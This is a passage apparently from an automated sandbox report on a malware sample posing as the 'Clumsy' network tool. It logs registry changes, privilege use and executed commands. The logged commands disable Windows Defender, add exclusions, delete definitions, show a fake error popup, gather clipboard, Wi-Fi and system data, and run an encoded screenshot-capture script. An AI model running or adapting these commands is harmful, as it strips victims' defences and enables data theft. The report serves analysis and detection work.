| Set value (int) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4" | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1" | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}" | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14" | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202 | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}" | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
Modifies system certificate store
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\REQUEST\CTLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\CTLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\CRLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\REQUEST | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\CRLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\CTLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\eSIM Certification Authorities | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TestSignRoot\CRLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\TrustedAppRoot | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\REQUEST\CRLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\CTLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\CTLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\REQUEST\CTLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\FlightRoot | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\TestSignRoot | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TestSignRoot\Certificates | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TestSignRoot\CTLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\TrustedDevices | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\B19AE3E3BD970DFE446DAB528F10D5F41A78122C | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\ClientAuthIssuer | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\eSIM Certification Authorities\Certificates | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\eSIM Certification Authorities\CRLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates | C:\Windows\system32\rundll32.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\B19AE3E3BD970DFE446DAB528F10D5F41A78122C\Blob = 0400000001000000100000007d303b2284780fdf78eddc9640d2cdb80f0000000100000020000000d4fb3c8fad6bb1dc074433bc96aa8eac3d74e8025b3aa4f8f3d4e8b09731a25b140000000100000014000000ad37109fa4093843894a8ec1ed7d224559916d4e1900000001000000100000008c3d02928bf076676b152b953c61f23d030000000100000014000000b19ae3e3bd970dfe446dab528f10d5f41a78122c5c0000000100000004000000000800002000000001000000530300003082034f30820237a00302010202110a41c84b9ee23745a788daa95114f06245300d06092a864886f70d01010b05003041311830160603550403130f4854545020546f6f6c6b6974204341310b300906035504061302585831183016060355040a130f4854545020546f6f6c6b6974204341301e170d3234313031343232333233375a170d3235313031353232333233375a3041311830160603550403130f4854545020546f6f6c6b6974204341310b300906035504061302585831183016060355040a130f4854545020546f6f6c6b697420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d65178495cf1d66dc5a11208075fc7f9f96feee7aad5e52c31fcaef7b4af09e7a0e885299e8445deb9acaac878a4d0098739a53d8040f36e1bd33c582c820cfca71d21890abecc558fece296a9b431dfbdb1ecc9445c4af63ca4780158f74fd6539cb51f6bdf433fd08615fd9893c3eb5ba155b4b17ec960b1a515faebbd5e0aa654452e26cc8ad648e3d0019030bb0e42bcfc79a79a2b3cf712f42bb962396508d42c4c67777a5dc27fe9ad9184731e79e49973ae6e32b42fedd044884bb8fdde87760d80e11221b659119e706d52f940065b263fe10cb3a942c460c18ffbd1e5a4609d89d693078e2ceccfb06e9ba4efb1786d86fbd8c9a5f11a71d1889e590203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff0404030201c6301d0603551d0e04160414ad37109fa4093843894a8ec1ed7d224559916d4e300d06092a864886f70d01010b05000382010100c944b2c3203f64c1802750e6b05f1796fb42d6537834ef8ed8ed3fc83a0e34192c72665e3d96fefce2499174d53a6ab2b4133ccb468f4d3b82551d6dc156ae392d5bd0761f1a9edeaacc1e7af051933d80fedc4ca761f49ee6baf502dd045803f2eecb6f5dd1be3e35dd8f5d41c8576c3bf61cba548ee8c2ea8e738e3ef96a452f278337aae957298a43e180b6a131f7d86af2026a7b15e20c61b304cd939de22540625c348ace4d67dbb81e890b48199ecfb486cab19f9b069c4500e7e50e59a0daa6b5e07f386bfdcc652b47ab9c4f7256bb6720fb3664e12d0a1d0b9f550995cae9a7ac19bcda617149cf6135106818487d586f5fa51572dd7a0eff71b988 | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\REQUEST\Certificates | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\Certificates | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedAppRoot\Certificates | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\REQUEST\Certificates | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedAppRoot\CRLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\Windows Live ID Token Issuer | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\REQUEST\CRLs | C:\Windows\system32\rundll32.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\B19AE3E3BD970DFE446DAB528F10D5F41A78122C\Blob = 0400000001000000100000007d303b2284780fdf78eddc9640d2cdb80f0000000100000020000000d4fb3c8fad6bb1dc074433bc96aa8eac3d74e8025b3aa4f8f3d4e8b09731a25b140000000100000014000000ad37109fa4093843894a8ec1ed7d224559916d4e1900000001000000100000008c3d02928bf076676b152b953c61f23d030000000100000014000000b19ae3e3bd970dfe446dab528f10d5f41a78122c5c0000000100000004000000000800002000000001000000530300003082034f30820237a00302010202110a41c84b9ee23745a788daa95114f06245300d06092a864886f70d01010b05003041311830160603550403130f4854545020546f6f6c6b6974204341310b300906035504061302585831183016060355040a130f4854545020546f6f6c6b6974204341301e170d3234313031343232333233375a170d3235313031353232333233375a3041311830160603550403130f4854545020546f6f6c6b6974204341310b300906035504061302585831183016060355040a130f4854545020546f6f6c6b697420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d65178495cf1d66dc5a11208075fc7f9f96feee7aad5e52c31fcaef7b4af09e7a0e885299e8445deb9acaac878a4d0098739a53d8040f36e1bd33c582c820cfca71d21890abecc558fece296a9b431dfbdb1ecc9445c4af63ca4780158f74fd6539cb51f6bdf433fd08615fd9893c3eb5ba155b4b17ec960b1a515faebbd5e0aa654452e26cc8ad648e3d0019030bb0e42bcfc79a79a2b3cf712f42bb962396508d42c4c67777a5dc27fe9ad9184731e79e49973ae6e32b42fedd044884bb8fdde87760d80e11221b659119e706d52f940065b263fe10cb3a942c460c18ffbd1e5a4609d89d693078e2ceccfb06e9ba4efb1786d86fbd8c9a5f11a71d1889e590203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff0404030201c6301d0603551d0e04160414ad37109fa4093843894a8ec1ed7d224559916d4e300d06092a864886f70d01010b05000382010100c944b2c3203f64c1802750e6b05f1796fb42d6537834ef8ed8ed3fc83a0e34192c72665e3d96fefce2499174d53a6ab2b4133ccb468f4d3b82551d6dc156ae392d5bd0761f1a9edeaacc1e7af051933d80fedc4ca761f49ee6baf502dd045803f2eecb6f5dd1be3e35dd8f5d41c8576c3bf61cba548ee8c2ea8e738e3ef96a452f278337aae957298a43e180b6a131f7d86af2026a7b15e20c61b304cd939de22540625c348ace4d67dbb81e890b48199ecfb486cab19f9b069c4500e7e50e59a0daa6b5e07f386bfdcc652b47ab9c4f7256bb6720fb3664e12d0a1d0b9f550995cae9a7ac19bcda617149cf6135106818487d586f5fa51572dd7a0eff71b988 | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\Certificates | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\CRLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\eSIM Certification Authorities\CTLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\B19AE3E3BD970DFE446DAB528F10D5F41A78122C | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedAppRoot\CTLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\Certificates | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\CRLs | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\REQUEST | C:\Windows\system32\rundll32.exe | N/A |
NTFS ADS
| Description | Indicator | Process | Target |
| File opened for modification | C:\Users\Admin\Downloads\http-toolkit-ca-certificate.crt:Zone.Identifier | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\tasklist.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\tasklist.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 33 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 34 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 35 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 36 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\tasklist.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 33 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 34 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 35 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 36 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\tasklist.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe | N/A |
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAA